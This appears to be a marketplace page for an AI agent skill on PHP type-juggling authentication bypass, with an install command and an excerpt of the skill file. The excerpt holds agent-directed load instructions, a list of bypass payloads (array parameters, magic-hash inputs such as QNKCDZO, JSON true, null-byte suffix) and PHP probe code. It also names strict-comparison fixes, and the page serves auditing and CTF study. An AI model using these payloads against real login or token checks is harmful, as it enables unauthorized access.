Type Juggling
Loose PHP comparisons and magic-hash tricks for bypassing weak authentication, HMAC, and token checks.
- CCM score
- 68 of 100
- skills.sh installs
- 4K
- GitHub stars
- 2.7K
- last updated
- Aug 21, 2026
Own this skill? Claim it
What it does
- Covers PHP
==type juggling, magic hashes matching0edigits, HMAC loose checks, NULL juggling, and CTF-stylestrcmp/intvalbypasses - Includes a truth table of loose-comparison results, a PHP 5/7 versus PHP 8 behavior comparison, and reference magic-hash inputs for MD5 and SHA-1
- Provides
hash_equalsand===as the strict-comparison replacements for secret and token checks - Designed for auditing legacy PHP authentication and CTF-style code paths that compare secrets with loose equality
Install
$ npx -y skills add yaklang/hack-skills --skill type-juggling -yInstalls into .agents/skills for every agent it finds here, and .claude/skills for Claude Code.
Files
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
AI LOAD INSTRUCTION: PHP
==coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-stylestrcmp/json_decode/intvaltricks. Use strict routing: map the sink (==vshash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code likemd5($_GET['x'])==md5($_GET['y']), start with this skill; ifhash_equals/===is already used, this path usually does not apply.
0. QUICK START
First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
Minimal PHP probes (local or php -r in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
Routing hints
Details
- Repository
- github.com/yaklang/hack-skills
- Categories
- Security, PHP & Laravel
- First seen
- Jun 3, 2026
More from yaklang/hack-skills
All 102- Linux Security Bypass4K
- Classical Cipher Analysis4K
- Tunneling And Pivoting4K
- Steganography Techniques4K
- Prototype Pollution Advanced3.9K
- Stack Overflow And Rop3.9K
- Smart Contract Vulnerabilities3.9K
- Lattice Crypto Attacks3.9K
- Rsa Attack Techniques3.9K
- Sandbox Escape Techniques3.9K
- Symmetric Cipher Attacks3.9K
- Windows Lateral Movement3.9K
- Macos Security Bypass3.9K
- Ntlm Relay Coercion3.9K
- Nosql Injection3.9K
- Macos Process Injection3.9K
- Upload Insecure Files3.9K
- Unauthorized Access Common Services3.8K
- Reverse Shell Techniques3.8K
- Ghost Bits Cast Attack3.7K
- Hack4.8K
- Recon And Methodology4.5K
- Android Pentesting Tricks4.5K
- Sqli Sql Injection4.5K
Similar to Type Juggling
More Securityapi-auth-and-jwt-abuseSkillyaklang/hack-skills4.2K installsAPI token triage and attack playbook covering JWT forgery, header spoofing, and rate-limit bypass families.
hash-attack-techniquesSkillyaklang/hack-skills4K installsExpert hash attack playbook covering length extension, MD5 and SHA-1 collisions, HMAC timing leaks, and birthday attacks.
security-fuzzingPluginmarslanalvi/SkillsStack5 starsFuzzing, sanitizers, property-based and cryptographic testing
wordpress-security-validationSkillbobmatnyc/claude-mpm-skills643 installsSecurity-first WordPress guide covering nonces, sanitization, validation, and escaping against XSS, CSRF, and SQL injection.
jwt-securitySkillmindrally/skills1.6K installsGuidelines for JWT authentication covering token creation, validation, storage, and refresh, with concrete security rules.
PHP Security PatternsSkillthebushidocollective/han278 installsReference guide of PHP security patterns covering validation, SQL injection, XSS, CSRF, and password handling.